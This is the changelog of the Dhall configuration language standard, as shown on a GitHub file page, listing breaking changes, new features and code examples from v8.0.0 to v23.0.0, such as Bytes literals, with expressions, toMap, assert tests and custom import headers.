Skip to content

Latest commit

 

History

History
3194 lines (2154 loc) · 112 KB

CHANGELOG.md

File metadata and controls

3194 lines (2154 loc) · 112 KB
Raw

Changelog

All notable changes to the Dhall language standard will be documented in this file.

For more info about our versioning policy, see versioning.md.

v23.0.0

Breakin changes:

  • New support for Bytes literals

    You can now store Bytes within Dhall, which comprises two changes to the language:

    • A new Bytes type

    • Support for Bytes literals of the form 0x"…"

    For example, the following Dhall literal represents a valid sequence of four bytes:

    0x"00FF12DE"

    This is a technically breaking change because Bytes is now a reserved identifier.

  • New {Date,Time,TimeZone}/show builtins

    You can now render temporal literals as Text representing valid Dhall source code:

    Date/show : Date → Text

Time/show : Time → Text

TimeZone/show : TimeZone → Text

    For example:

    ⊢ Date/show 2000-01-01

"2000-01-01"

⊢ Time/show 11:59:59

"11:59:59"

⊢ TimeZone/show -08:00

"-08:00"

    This is a technically breaking change because Date/show, Time/show, and TimeZone/show are now reserved identifiers.

New features:

Other changes:

v22.0.0

Breaking changes:

  • New showConstructor keyword for converting union alternative to Text

    You can now render the constructor name for a union alternative using the showConstructor keyword, like this:

    let Example = < A : Bool | B >

in  [ showConstructor (Example.A True), showConstructor Example.B ]

    … which evaluates to:

    [ "A", "B" ]

    showConstructor also works on Optional and Bool values, too:

    >>> showConstructor (None Bool)
"None"
>>> showConstructor (Some True)
"Some"
>>> showConstructor True
"True"
>>> showConstructor False
"False"

  • Require non-empty whitespace after let binding

    Before this change an expression like this was permitted:

    let x = 3let y = x in y

    … because the grammar did not require non-empty whitespace in between let bindings. Now the grammar requires non-empty whitespace in between bindings so the above expression is no longer permitted.

New features:

Other changes:

v21.1.0

New features:

Other changes:

v21.0.0

Breaking changes:

  • Standardize support for dates / times / time zones

    Dhall now provides language support for time types and literals, including almost all combinations of dates, time, and time zones.

    For example, these are all valid temporal literals and their corresponding types:

    2020-01-01                : Date
00:00:00                  : Time
+00:00                    : TimeZone
2020-01-01T00:00:00       : { date : Date, time : Time }
00:00:00+00:00            : { time : Time, timeZone : TimeZone }
2020-01-01T00:00:00+00:00 : { date : Date, time : Time, timeZone : TimeZone }

    Currently there are not yet built-in functions associated with temporal values. This change only adds the new types and support for projecting out components of complex literals as record fields.

    This is a breaking change because Date / Time / TimeZone are now reserved identifier names.

  • Change ? to only fall back on absent imports

    The ? operator will no longer recover from type errors, parse errors, hash mismatches, or cyclic imports found within the first import. The second import will only be tried if the first import cannot be retrieved at all (either from cache or the specified location).

    This is a breaking change because some Dhall programs which used to succeed will now fail. Specifically, a program which relied on the ? operator to recover from non-import-related errors will now begin to fail.

Other changes:

New features:

  • Add support for origin-based header configuration

    You can now customize headers out-of-band by creating a headers.dhall file in one of the following locations:

    • ~/.config/dhall/headers.dhall
    • ${XDG_CONFIG_HOME}/dhall/headers.dhall
    • env:DHALL_HEADERS

    This headers file has type Map Text (Map Text Text) and might look something like this:

    toMap {
  `raw.githubusercontent.com:443` = toMap { Authorization = "TOKEN" }
}

    Where each outer Map key is of the form host:port and the nner Map contains custom header-value pairs. These custom headers are supplied to any imports destined for tht origin.

    These out-of-band custom headers work in conjunction with the in-band custom headers supplied by the using keyword, but the out-of-band custom headers take precedence. For example, if one were to import:

    https://raw.githubusercontent.com/example.dhall using
  ( toMap
    { Authorization = "ANOTHER TOKEN"
    , User-Agent = "dhall"
    }
  )

    … then the User-Agent header would now also be set to "dhall", but the Authorization would still be "TOKEN".

  • Add Prelude support for NonEmpty lists

v20.2.0

New features:

Other changes:

v20.1.0

New features:

Other changes:

v20.0.0

Breaking changes:

  • Text/replace waits to replace interpolated Text

    Text/replace will now not reduce if the Text literal to replace has any interpolated subexpressions.

    For example, before this change, the following expression:

    λ(x : Text) → Text/replace "a" "b" "a${x}"

    … would normalize to:

    λ(x : Text) → "b${x}"

    After this change, the former expression is in normal form and won't reduce further so long as the interpolated expression remains abstract.

    This change was made to fix the fact that the old behavior for Text/replace was not confluent, meaning that the behavior would change depending on which order normalization rules were applied. For example, the following expression would give different results:

    let x = "a" in Text/replace "a" "b" "b${x}"

    … depending on whether or not x was substituted into the interpolated Text literal before or after Text/replace performed the replacement.

    This is a technically breaking change because it would change the integrity check for any expression replacing a Text literal with abstract interpolated subexpressions. In practice, you are unlikely to be affected by this change.

  • Normalize Text/replace when "needle" is empty and other arguments are abstract

    Text/replace will now always normalize if the first argument is the empty string, regardless of whether or not the other two arguments are abstract.

    Or in other words:

    Text/replace "" replacement haystack

    … will always reduce to:

    haystack

    This is a technically breaking change along the same lines as the previous change and is also unlikely to affect you in practice.

  • Prelude.XML.render now correctly escapes unsanitized input

    The new version of the utility uses Text/replace to escape unsanitized input, in order to guarantee that the rendered XML is always well-formed.

    This is a breaking change because the rendered output will be different if the input contained special characters (like <). However, it's more likely that this change will fix your code rather than break it (unless you were depending on the old behavior as an escape hatch for XML injection).

New features:

Other changes:

v19.0.0

Breaking changes:

  • Implement with directly rather than via desugaring

    The standard now defines with directly, rather than via a desugaring step. This changes the normalization behaviour of with expressions in three ways: first, with expressions on abstract variables such as

    λ(r : { foo : Text }) → r with bar = "baz"

    will now remain unchanged after normalization, whereas previously this expression would have normalised to:

    λ(r : { foo : Text }) → r ⫽ { bar = "baz" }

    The second way normalization has changed is a consequence of the above: certain with expressions used to take advantage of simplification of ⫽ expressions. For example:

    (e with k = v).k

    used to normalize to v, but now normalizes to itself.

    The third change to normalization is that it is no longer a type error to add multiple layers of nesting into a record at once:

    {} with x.y.z = 3

    This expression normalizes to:

    { x = { y = { z = 3 }}}

    which can also be written:

    { x.y.z = 3 }

    This is technically a breaking change due to the changes to normalization; this also means that the semantic hash of files which contain with expressions may change.

New features:

v18.0.0

Breaking changes:

  • Enable with optimizations

    The standard now gives implementations more freedom to optimize the β-reduction of with expressions, mainly in order to avoid pathological time and space complexity when interpreting chained with expressions, like:

    r with x.y = a with z = b

    Along the way, this changes how with expressions are encoded in the binary representation, which means that this is a technically breaking change.

    In practice, you are unlikely to to be affected by this change, except for the rare case where you protect an import with a semantic integrity check and the contents of the protected import contain a with expression where the left-hand side of the with expression is abstract, such as this one:

    λ(x: { a : Natural}) → x with a = 42

    Other than that, semantic integrity checks are not affected because the interpreter will β-normalize away the with expression, which will then not affect the final hash.

New features:

Other changes:

v17.1.0

New features:

  • Allow trailing delimiters

    The language now permits trailing delimiters, including:

    • Trailing commas for record literals:

      { x = 1, y = 2, }

    • Trailing commas for record types:

      { x : Natural, y : Natural, }

    • Trailing commas for list literals:

      [ 1, 2, ]

    • Trailing bars for union types:

      < Left : Natural | Right : Bool | >

    These trailing delimiters will allow you to format your code in a style more familiar to JavaScript / Python / Go / Rust programmers.

  • Add .dhall extensions on Prelude files

    All Prelude files now include a version with a .dhall extension, both for consistency with the rest of the ecosystem and to automatically trigger correct syntax highlighting and editor support based on the .dhall extension.

    The old files without the extension are still present (so this change is backwards-compatible), but now all they do is re-export the file with the .dhall extension.

    New additions to the Prelude will require the .dhall extension and won't include the extension-free counterpart.

Other changes:

v17.0.0

Breaking changes:

  • Remove the ability to quote paths in URLs

    After a deprecation period, quoted path components are no longer supported in URLs. For example, this is no longer valid:

    https://example.com/"foo bar"

    Instead, you will now need to percent-encode path components:

    https://example.com/foo%20bar

    For more details, see: Deprecation of quoted paths in URLs

  • Remove Optional/build and Optional/fold

    After a deprecation period, Optional/build and Optional/fold are no longer built-ins and can be implemented in terms of other language constructs.

    Specifically, Optional/build can be replaced with Prelude.Optional.build, which is defined as:

    λ(a : Type) →
λ ( build
  : ∀(optional : Type) → ∀(some : a → optional) → ∀(none : optional) → optional
  ) →
  build (Optional a) (λ(x : a) → Some x) (None a)

    ... and Optional/fold can be replaced with Prelude.Optional.fold, which is defined as:

    λ(a : Type) →
λ(o : Optional a) →
λ(optional : Type) →
λ(some : a → optional) →
λ(none : optional) →
  merge { None = none, Some = some } o

    For more details, see: Deprecation of Optional/fold and Optional/build

New features:

Other changes:

v16.0.0

Breaking changes:

  • Adjust precedence of === and with

    This includes two precedence changes:

    • with expressions now forbid operators for their left-hand argument

      For example, now these parentheses are required:

      ({ x = 0 } ∧ { y = 1 }) with x = 1

      Previously, if you omitted the parentheses, like this:

      { x = 0 } ∧ { y = 1 } with x = 1

      ... that would have parsed as:

      { x = 0 } ∧ ({ y = 1 } with x = 1)

      ... but now you would get a failed parse if you were to omit the parentheses.

      This restriction forbids expressions that might have been ambiguous to readers. This is definitely a breaking change, since such expressions were previously valid now require explicit parentheses, otherwise they will fail to parse.

      Along the same lines, an expression like this:

      record with x.y = {} // { x = 1 }

      ... used to parse as:

      (record with x.y = {}) // { x = 1 }

      ... but now parses as:

      record with x.y = ({} // { x = 1 })

      ... which is a different expression.

      The motivation for the latter change in precedence is to permit right-hand sides that contain operators without explicit parentheses, like this:

      record with x.y = 2 + 2

    • The precedence of === is now lower than all of the operators

      The motivation for this change is to that you no longer need to parenthesize tests just because they use operators. For example, previously the following parentheses were mandatory:

      let example = assert : (2 + 2) === 4

      ... and now you can safely omit the parentheses:

      let example = assert : 2 + 2 === 4

      This part is not a breaking change because any expression affected by this change in precedence would not have type-checked anyway.

  • Update encoding of floating point values to RFC7049bis

    This changes how Double literals are encoded to match a new standard recommendation how to canonically encode floating point values. Specifically, these values are now encoded using the smallest available CBOR representation, (which could be half precision floating point values). Previously, the Dhall standard would always use at least 32 bits for encoding floating point values (except for special values like Infinity or NaN).

    This is a technically breaking change because this affects the computed integrity checks for frozen imports, but you are less likely to hit this in practice because: (A) usually only Dhall packages containing reusable utilities are frozen using integrity checks and (B) there are essentially no useful utilities one could write in Dhall using specific Double literals since they are opaque.

New features:

Other changes:

v15.0.0

Deprecation notice:

  • URLs with quoted paths are deprecated

    In other words, you will no longer be able to do this:

    https://example.com/"foo bar"

    Instead, you will need to percent-encode URLs, like this:

    https://example.com/foo%20bar

    Support for quoted URL paths will be removed in two more releases in an effort to slowly simplify the standard. See the above link to the migration guide for more details.

Breaking changes:

  • Add support for with keyword

    You can now update a deeply-nested record using the with keyword, like this:

    let record = { x.y = 1 }

in  record with x.y = 2 with x.z = True

    ... which evaluates to:

    { x = { y = 2, z = True } }

    The with keyword is syntactic sugar for using // repeatedly to override nested fields. For example, this expression:

    record with x.y = 2

    ... is syntactic sugar for:

    record // { x = record.x // { y = 2 } }

    This feature is a technically breaking change because the with keyword is now reserved.

  • JSON: support pretty JSON formatting

    Prelude.JSON.render now pretty-prints JSON instead of rendering on a single line

    For example:

    JSON.render
  ( JSON.array
      [ JSON.bool True
      , JSON.string "Hello"
      , JSON.object
          [ { mapKey = "foo", mapValue = JSON.null }
          , { mapKey = "bar", mapValue = JSON.double 1.0 }
          ]
      ]
  )

    ... evaluates to:

    ''
[
  true,
  "Hello",
  {
    "foo": null,
    "bar": 1.0
  }
]
''

    This feature is a breaking change to the output (the old compact rendering was not preserved), but the generated JSON is semantically the same.

New features:

  • Standardize record puns

    The language now supports record "puns" to easily create fields from identifiers of the same name already in scope.

    For example, this expression:

    let x = 1

let y = 2

in  { x, y }

    ... is the same thing as:

    let x = 1

let y = 2

in  { x = x, y = y }

    This comes in handy when creating records that package several locally-defined identifiers.

    Note that this does not yet support the same syntax for destructuring records. Currently this feature only affects record assembly.

Other changes:

v14.0.0

Deprecation notice:

Breaking changes:

  • Disallow Natural literals with leading zeros

    Natural numbers can no longer start with a leading zero, for two main reasons:

    • So that users will not confuse them with octal numbers

    • So that implementations are less likely to inadvertently parse them as octal numbers

New features:

  • Add support for duplicate record fields

    Up until now, the Dhall interpreter would reject duplicate fields within records, such as:

    { a = { b = 1 }, a = { c = 1 } }

    However, several other configuration languages permit duplicate fields so long as (A) they are records and (B) their nested fields do not conflict (such as in the above example). Now the Dhall configuration language behaves that way, too.

    Specifically, the rules are that more than one occurrence of a field desugars to use of the ∧ operator to combine the duplicate occurrences. So, for example, the above expression is now syntactic sugar for:

    { a = { b = 1 } ∧ { c = 1 } }

    ... which then further evaluates to:

    { a = { b = 1, c = 1 } }

    Other cases for duplicate fields are still rejected as type errors. For example, this expression:

    { a = 0, a = 0 }

    ... desugars to:

    { a = 0 ∧ 0 }

    ... which is a type error.

    This feature combines well with the following feature for dotted field syntax.

  • Add support for dotted field syntax

    You can now compress deeply nested record hierarchies by chaining nested fields with dots.

    For example, the following record:

    { a.b.c = 1 }

    ... is syntactic sugar for nesting records like this:

    { a = { b = { c = 1 } } }

    You can combine this feature with the previous feature for duplicate fields. For example, the following record:

    { a.b.c = 1, a.b.d = True }

    ... desugars to:

    { a = { b = { c = 1 } }, a = { b = { d = True } } }

    ... and the duplicate fields merge to produce:

    { a = { b = { c = 1, d = True } } }

  • Fix typing rule for merging Optionals

    The previous released introduced merge support for Optional values, such as:

    merge { None = 0, Some = λ(n : Natural) → n } (Some 4)

    However, the final argument to merge was limited to Optional literals (e.g. Some or None), but did not work on abstract Optional values, such as bound variables. For example, the following example would fail to type-check:

    λ(o : Optional Natural) → merge { None = 0, Some = λ(n : Natural) → n } o

    This release fixes that and the above example is now valid Dhall code.

v13.0.0

Breaking changes:

  • Extend Prelude's JSON type to handle unlimited precision Integers and Naturals

    This adds new Prelude.JSON.{double,integer,natural} utilities and the latter two utilities can store arbitrary Integers and Natural without loss of precision.

    For example:

    let JSON = https://prelude.dhall-lang.org/JSON/package.dhall

in  JSON.render (JSON.natural 1000000000000000000000000000000)

    Prelude.JSON.number still remains and is a synonym for Prelude.JSON.double

    This is a technically breaking change because this alters Prelude.JSON.Type but in practice this will not break code that treats that type as a black box.

New features:

Other changes:

v12.0.0

Breaking changes:

  • New Integer/negate and Integer/clamp builtins

    This change adds two new built-ins so that Integers are no longer opaque. These two built-ins permit transforming back and forth between Integers and Natural numbers, so you can in theory now implement arbitrary operations on Integers.

    These two built-ins have the following types:

    • Integer/clamp : Integer → Natural - Converts an Integer to a Natural number, truncating to 0 if the Integer was negative

    • Integer/negate : Integer → Integer - Negates an Integer

    See below for the matching change to the Prelude to use these built-ins to power several new Prelude utilities.

  • Remove support for fusion

    This removes support for Natural/List/Optional "fusion".

    For example, before this change an expression such as:

    λ(x : Natural) → Natural/build (Natural/fold x)

    ... would simplify to:

    λ(x : Natural) → x

    ... or in other words paired occurrences of Natural/build and Natural/fold would "fuse" away and disappear since they are inverses of one another. Similarly, List/build/List/fold and Optional/build/Optional/fold would fuse away in the same way.

    After this change they no longer do so. We removed language support for fusion for two reasons:

    • Fusion was specified in such a way that the language was no longer confluent

      Note: We have not proven that the language is now confluent in the absence of fusion, but we are certain that fusion was interfering with confluence.

      A practical consequence of the absence confluence was that fusion-related optimizations were brittle

    • Fusion added implementation complexity

      ... which in turn increased the difficulty of porting new language bindings

    This is a technically breaking change because the normal forms for certain expressions will differ if they relied on fusion, which in turn would perturb semantic integrity checks protecting those expressions. In practice, you are unlikely to be affected by this change.

New features:

  • Add new Integer functions to Prelude

    This change takes advantage of the newly added Integer/{clamp,negate} built-ins to add the following operations on Integers to the Prelude:

    • Integer.abs : Integer → Natural

    • Integer.add : Integer → Integer → Integer

    • Integer.clamp : Integer → Natural

    • Integer.equal : Integer → Integer → Bool

    • Integer.greaterThan : Integer → Integer → Bool

    • Integer.greaterThanEqual : Integer → Integer → Bool

    • Integer.lessThan : Integer → Integer → Bool

    • Integer.lessThanEqual : Integer → Integer → Bool

    • Integer.multiply : Integer → Integer → Integer

    • Integer.negate : Integer → Integer

    • Integer.subtract: Integer → Integer → Integer

    • Integer.toNatural : Integer → Optional Natural

  • Implement renderYAML

    You can now render JSON values as YAML documents using a new Prelude.JSON.renderYAML utility

    Note that this utility is not intended to be as featureful as the dhall-to-yaml command-line tool, but can still prove to be useful for:

    • Rendering YAML documents in pure Dhall when appropriate to do so
    • Rendering JSON values as YAML Text for use in concise assert expressions

  • Add a Prelude.JSON.omitNullFields

    While renderYAML doesn't aim to be as comprehensive as dhall-to-yaml we can still provide an omitNull utility which behaves similarly to the --omitNull flag for the command-line tool. This function removes all null-valued record fields from a JSON expression:

    • JSON/omitNull : JSON → JSON

  • Add List/{take,drop}

    This change exploits the recently-added Natural/subtract built-in to implement high-performance list truncation utilities of the following types:

    • List/take : Natural → ∀(a : Type) → List a → List a

    • List/drop : Natural → ∀(a : Type) → List a → List a

  • Add JSON.tag{Inline,Nested} helpers for union encoding

    These are convenience utilities to support the dhall-to-{json,yaml} executables which provide a mechanism for converting union literals to tagged JSON records:

    • JSON/tagInline : ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }

    • JSON/tagNested : ∀(contentsFieldName : Text) → ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }

Other changes:

v11.1.0

New features:

Other changes:

v11.0.0

Breaking changes:

  • Simplify ⫽ within record projection

    This change allows the interpreter to simplify an expression like this:

    (r ⫽ { x = 1, y = True }).{ x, z }

    ... to this:

    r.{ z } ⫽ { x = 1 }

    This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.

  • Simplify nested record projection

    This change allows the interpreter to simplify an expression like this:

    r.{ x, y, z }.{ x, y }

    ... to this:

    r.{ x, y }

    This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.

New features:

  • Add support for leading separators

    Record literals, record types, and union types all now support leading separators, like this:

    { , x = 1, y = True }

{ , x : Natural, y : Bool }

< | x : Natural | y : Bool >

    ... which are more commonly used when formatting a multi-line expression so that you can always add/remove entries with only a single-line change.

    let example = {
      , x = 1
      , y = True
      }

  • Standardize support for record completion

    This adds a new operator:

    T::r

    ... which is syntactic sugar for:

    (T.default ⫽ r) : T.Type

    The motivation for this change is to handle configuration formats with a large number of defaultable fields so that users can omit any default-valued fields when creating a record:

    let Example =
      { Type = { foo : Text, bar : Optional Natural }
      , default = { bar = None Natural }
      }

    -- No need to specify `bar` since it will default to `None Natural`
in  Example::{ foo = "ABC" }

  • Improved Windows support for caching

    Interpreters will now use Windows-appropriate cache directories (i.e. %LOCALAPPDATA%) when available

  • Prelude: Include types in the package.dhall files

    You can now access Prelude.Map.Type, Prelude.JSON.Type and other types from the Prelude's package.dhall

  • Prelude: Add List.{default,empty}, Map.empty, Optional.default

    This adds the following new Prelude utilities:

    Prelude.List.default
  : ∀(a : Type) → Optional (List a) → List a

Prelude.List.empty
  : ∀(a : Type) → List a

Prelude.Map.empty
  : ∀(k : Type) → ∀(v : Type) → Map k v

Prelude.Optional.default
  : ∀(a : Type) → a → Optional a → a

  • Prelude: Move JSON.key{Text,Value} to Map

    Prelude.JSON.keyText is now also available from Prelude.Map.keyText

    Similarly, Prelude.JSON.keyValue is now also available from Prelude.Map.keyValue

Other changes:

v10.0.0

Breaking changes:

  • Remove old-style union literals from the language

    This is the final phase of removing support for the old union literal syntax and they are no longer supported.

    Now, instead of writing this:

    < Left = 1 | Right : Bool >

    ... you must write this:

    < Left : Natural | Right : Bool >.Left 1

    ... or more commonly:

    let Example = < Left : Natural | Right : Bool >

in  Example.Left 1

    For more details, including migration instructions, see: Migration: Deprecation of old union literal syntax

  • Add support for dependent types

    Dhall now provides rudimentary support for dependent types, which in turn enables a new assert keyword for testing code.

    For example, now you can write unit tests for your functions like this:

    let not = λ(x : Bool) → x == False

let example0 = assert : not True === False

-- (≡) (U+2261) is the Unicode analog of (===)
let example1 = assert : not False ≡ True

in  not

    You can also write property tests in the same way, too:

    let rightIdentity = λ(x : Natural) → assert : x ≡ (x + 0)

let leftIdentity  = λ(x : Natural) → assert : x ≡ (0 + x)

-- Note: This last assertion will fail because Dhall's simplifier currently
-- cannot detect that re-associated expressions are equivalent
let associativity =
        λ(x : Natural)
      → λ(y : Natural)
      → λ(z : Natural)
      → assert : (x + (y + z)) === ((x + y) + z)

in  {=}

    Dhall is technically dependently typed, meaning that you can now have functions from terms to types, like this:

    let Tagged = λ(label : Text) → λ(a : Type) → a

in  1 : Tagged "Age" Natural

    ... but Dhall does not yet support other features that would be required to do more sophisticated things like statically sized Vectors. The main new benefit for users is language support for tests.

    This is a technically breaking change because assert is now a reserved keyword.

  • New Natural/subtract built-in

    This adds a new Natural/subtract built-in which truncates to 0 if the result is negative.

    The built-in is useful in its own right, but can also be used to power other utilities (such as efficient comparison of Natural numbers, also included in this releases)

    This is a technically breaking change because Natural/subtract is now a reserved identifier, but in practice this is unlikely to break your code unless you defined your own inefficient Natural/subtract function in terms of Natural/fold. If you did so, then just delete the old code and switch to the new built-in.

    See also: Simplify Natural/subtract when its arguments are equivalent

  • New simplifications for field selection

    The interpreter will now intelligently normalize some unsaturated field selections and projections.

    For example, the following code:

    λ(x : { a : Bool, b : Bool }) → (x ⫽ { c = 0 }).{ a, c }.c

    ... will simplify to:

    λ(x : { a : Bool, b : Bool }) → 0

    This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.

    See also: Add missing symmetric rules for field selection normalization

  • Simplify // when its arguments are equivalent

    The interpreter will now simplify x // x to x

    This is a technically breaking change for the same reason as the previous change: because it changes the normal form for expressions using this feature.

  • Don't URL-decode path segments

    This changes the binary representation of URLs to pass through path segments without decoding them for better interoperability with other tools.

    This is a technically breaking change because the binary format changes for URLs, but this does not disturb semantic integrity checks since they hash URL-free expressions.

New features:

  • Standardize mixed records

    You can now have mixed records of terms, types, and kinds. For example, something like this is now legal:

    { foo = 1, bar = Text }

    Practically, this means that Dhall packages can now export both types and terms from the same record, so that they no longer need a separate types.dhall record.

  • Prelude: Add Natural comparison functions

    You can now use high-performance Natural comparison functions which are internally powered by the newly-added Natural/subtract built-in.

Other changes:

v9.0.0

Breaking changes:

  • Remove old Optional literal syntax

    This is phase 2 of removing support for the old List-like Optional literal syntax.

    This phase removes the old Optional literals from the language. You now must use Some or None.

    For more details, including migration instructions, see: Migration: Deprecation of old Optional literal syntax

  • Forbid surrogate pairs and non-characters

    Dhall no longer supports surrogate pairs within escape sequences. In other words, something like this is no longer valid:

    "\uD834\uDD1E"

    ... and you must instead use a braced escape sequence to represent a Unicode character that would have previously required a surrogate pair:

    "\u{1D11E}"

    Dhall also no longer supports escape sequences for non-characters, so something like this is also no longer valid:

    "\uFFFF"

    Surrogate pairs and non-characters are also now explicitly forbidden within the source code (i.e. within comments or unescaped text literals), but these were already forbidden before. Dhall source code has to be valid UTF8, which already disallows those characters.

  • Add toMap keyword to create homogeneous maps from records

    You can now create an association list (a.k.a. a Map) from a Dhall record if all of the values stored within the record have the same type. For example:

    toMap { foo = 1, bar = 2 }

= [ { mapKey = "foo", mapValue = 1 }, { mapKey = "bar", mapValue = 2 } ]

    This allows a Dhall binding to a configuration format to accept a list of key-value pairs if it doesn't know in advance what keys to expect, while still permitting the user to specify the key-value pairs using record-like syntax.

    Two other features within this same release take advantage of this:

    • You can now specify custom headers for imports using the record generated by toMap, like this:

      https://example.com/foo
  using toMap { Authorization = "token ${env:GITHUB_TOKEN as Text }" }

    • You can specify key-value pairs for the JSON type just added to the Prelude using toMap, too:

      let JSON = https://prelude.dhall-lang.org/JSON/package.dhall

in  JSON.object (toMap { foo = JSON.number 1.0, bar = JSON.string "baz" })

    This is a technically breaking change because toMap is now a reserved keyword, but in practice most users will not be affected unless they used that label before this change.

  • Beta-normalization: Sort the fields of a record projection

    Normalization will now sort the fields of a record projection if it cannot be further reduced. For example, this expression:

    λ(x : { a : Bool, b : Bool, c : Bool }) → x.{ c, a }

    ... now normalizes to:

    λ(x : { a : Bool, b : Bool, c : Bool }) → x.{ a, c }

    This is a technically breaking change because it might perturb the hash of any expression that contains an irreducible record projection, but in practice this should not affect most users.

New features:

  • Implement importing paths as Location

    Dhall now permits reflection on fully resolved import paths so that these paths remain up-to-date no matter where the configuration file is interpreted from.

    For example, suppose that you store the following configuration file at /home/john/example.dhall:

    { packagePath = "./purescript-simple-json"
}

    ... where packagePath is intended to point to /home/john/purescript-simple-json.

    ... but then you use that to configure a program running with a different current working directory, such as: PWD=/home/alice/. That program will fail to resolve the package path because /home/alice/purescript-simple-json does not exist.

    However, if you change the configuration to:

    { packagePath = ./purescript-simple-json as Location
}

    Then the interpreter will replace the import with an expression encoding the absolute path to the import, generating an expression equivalent to this:

    let Location = https://prelude.dhall-lang.org/Location/Type

in  { packagePath = Location.Local "/home/john/purescript-simple-json" }

    ... so that the Dhall configuration file can be used to configure a program running within any working directory.

    If the same file were hosted at https://example.com/john/example.dhall then the expression would evaluate to:

    let Location = https://prelude.dhall-lang.org/Location/Type

in  { packagePath = Location.Remote "https://example.com/john/purescript-simple-json" }

  • Allow all RFC3986-compliant URLs

    Now all URLs are valid imports.

    For example, before this change https://example.com was not a valid import due to not having any path components and after this change URLs without paths are valid.

    This change also enables:

    • URLs with empty path components (i.e. https://example.com///)
    • Path components with unquoted special characters, such as =

  • Generalize empty list annotations

    You can now annotate an empty list with a type synonym, like this:

    let Example = List Natural

in  [] : Example

    Before this change, the List in : List was part of the grammar for empty lists, and you could only create a type synonym for the list element type, but not the list type as a whole. Now you can create a type synonym for the list type.

  • Add Map type and utility functions to Prelude

    The Prelude is now enshrining the Dhall idiom of using List { mapKey : Text, mapValue : a } to represent homogeneous maps by adding basic types and utilities for working with values of that type.

    This change pairs well with the following matching changes in this release:

  • Use multihash for cache filenames

    Dhall caches imports protected by semantic integrity checks underneath ${XDG_CACHE_HOME}/dhall or ~/.cache/dhall and this change affects the names of the cache files, which are now preceded with the four characters 1220 to reflect the multi-hash standard.

    This change means that the interpreter will not reuse old cache files when upgrading from an older release, so the cache will be rebuilt upon the first run of the interpreter. However, this is not a breaking change as this does not change the final result interpreting a protection protected by a semantic integrity check.

  • Add support for braced escape sequences

    You can now escape Unicode characters using braces, like this:

    "Musical symbol G clef: \u{1D11E}"

    This allows Dhall to escape Unicode characters with code points greater than 0xFFFF without the use of surrogate pairs. This is necessary given that surrogate pair escape sequences are now forbidden within this same release.

  • Prelude: Add standard representation for weakly-typed JSON values

    Utilities like dhall-to-{json,yaml} and {json,yaml}-to-dhall have up until now only supported Dhall types with schemas known ahead-of-time. However, some configuration file formats support fields that can store arbitrary JSON code (such as arbitrary JSON that the configuration intends to "pass through" to configure another step).

    This change adds a canonical type to the Prelude for representing an arbitrary JSON value and utilities for creating such JSON values. For example:

    let JSON = https://prelude.dhall-lang.org/JSON/package.dhall

in  JSON.object
    ( toMap
      { foo = JSON.null
      , bar = JSON.array [ JSON.number 1.0, JSON.bool True ]
      }
    )

    Also, the matching release of the dhall-json package supports this weakly-typed representation anywhere within the schema when converting either way between JSON/YAML and Dhall configuration files.

  • Use Prelude/Map for import headers

    You can now use a value of type List { mapValue : Text, mapValue : Text } to represent custom headers within an import's using clause instead of List { header : Text, value : Text }. For example:

    https://example.com/foo using
  [ { mapKey   = "Authorization"
    , mapValue = "token ${env:GITHUB_TOKEN as Text}"
    }
  ]

    ... or using the new toMap keyword:

    https://example.com/foo using
  toMap { Authorization = "token ${env:GITHUB_TOKEN as Text}" }

    The old header/value form is still supported, so this is not a breaking change. However, at some point in the future we may initiate the process of deprecating header/value support.

  • Add new Prelude/XML package

    There is now a Prelude/XML package that you can use to represent and render a subset of XML values using Dhall. This will eventually be used to power a dhall-to-xml utility.

    For example:

    let XML = https://prelude.dhall-lang.org/XML/package.dhall

in  XML.render (XML.leaf { name = "foobar", attributes = XML.emptyAttributes })

= "<foobar/>"

Other changes:

v8.0.0

Breaking changes:

  • Allow tabs and blank lines in multiline strings

    This changes two things about how multiline strings handle whitespace:

    • Blank lines are now ignored for the purpose of dedenting multiline strings

      Previously empty lines would still require the same number of leading spaces as other lines in order for multiline string literals to be properly dedented.

      For example, the following multi-line string is now dedented:

      let example =
␠␠␠␠␠␠''
␠␠␠␠␠␠foo

␠␠␠␠␠␠bar
␠␠␠␠␠␠''

in  …

      ... to this equivalent double-quoted string literal:

      "foo\n\nbar\n"

    • Multiline literals with leading tabs will now also be dedented

      To be precise, multiline literals will now dedent any shared prefix consisting of tabs and spaces so long as each (non-blank) line begins with the same prefix, such as this code:

      let example =
␉␠''
␉␠foo

␉␠bar
␉␠''

in  …

      ... which also desugars to the same double-quoted string literal:

      "foo\n\nbar\n"

    This is a breaking change because multi-line string literals with blank lines or leading tabs are now interpreted differently. However, expressions that padded blank lines with leading whitespace are unaffected by this change.

  • Simplify bare interpolations

    String literals that do nothing but interpolate a single expression are now simplified to that expression.

    For example, this code:

    λ(x : Text) → "${x}"

    ... now normalizes to this code:

    λ(x : Text) → x

    This is technically a breaking change because semantic integrity checks will change for any expressions that can be simplified in this way. However, functionally this has no change on the code's behavior as the simplified code is extensionally equal to the original code.

    There is also another related change within this same release:

  • Encode integrity check as multihash

    This changes how imports with semantic integrity checks are serialized by updating them to follow the multihash standard.

    This is a technically breaking change if you serialize uninterpreted expressions that contain imports, but this has no effect on semantic integrity checks, which are computed from fully-resolved expressions.

New features:

  • Record projection by expression

    You can now project out a subset of record fields by specifying the expected type. For example, this expression:

    let e = { a = 10, b = "Text" }

let s = { a : Natural }

in e.(s)

    ... normalizes to:

    { a = 10 }

    In other words, the type can be used as a record selector if surrounded with parentheses.

  • Allow Sort as type annotation

    Before this change Sort was not permitted anywhere within an expression and could only appear as the inferred type of an expression.

    Now Sort can be used as a type annotation, such as:

    Kind : Sort

    ... but is still forbidden elsewhere within expressions.

    This is not a breaking change: this only permits more expressions to type-check than before.

  • Standardize support for header forwarding and inline headers

    This makes two changes to the language:

    • You can now specify custom headers inline, like this:

      https://httpbin.org/user-agent
  using [ { header = "User-Agent", value = "Dhall" } ]
  as Text

      ... instead of having to specify them in a separate import

